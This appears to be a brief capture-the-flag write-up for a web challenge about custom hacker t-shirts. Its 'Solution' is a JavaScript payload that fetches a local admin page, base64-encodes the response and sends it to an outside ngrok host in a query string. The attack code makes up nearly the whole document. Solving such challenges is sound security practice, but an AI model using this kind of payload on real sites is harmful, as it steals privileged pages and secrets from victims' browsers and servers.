We all love our hacker t-shirts. Make your own custom ones.
Solution
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:5000/admin");
xhr.onload = function () {
var flag = btoa(xhr.responseText);
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://9106-81-103-153-174.ngrok.io?flag=" + flag);
exfil.send();
};
xhr.send();